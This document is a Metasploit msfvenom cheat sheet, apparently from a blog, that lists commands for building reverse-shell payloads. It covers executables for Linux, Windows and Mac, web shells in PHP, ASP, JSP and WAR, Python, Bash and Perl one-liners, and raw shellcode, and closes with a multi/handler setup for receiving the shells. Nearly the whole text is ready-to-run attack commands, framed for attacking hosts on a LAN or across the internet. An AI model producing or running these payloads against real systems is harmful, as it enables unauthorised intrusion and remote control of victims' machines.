Often one of the most useful (and to the beginner, underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps to have something that can give you a shell in almost any situation.

For each of these payloads, you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payloads and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to run.

For the examples below, it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet). LPORT should be the port you wish to be connected back on.

List payloads

msfvenom -l

Binaries

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Shellcode

For all shellcode, see ‘msfvenom –help-formats’ for information on valid parameters. Msfvenom will output code that’s able to be cut and pasted in this language for your exploits.

Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

Handlers

Metasploit handlers can be great for quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format:

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z

Once the required values are completed, the following command will execute your handler: – ‘msfconsole -L -r ‘
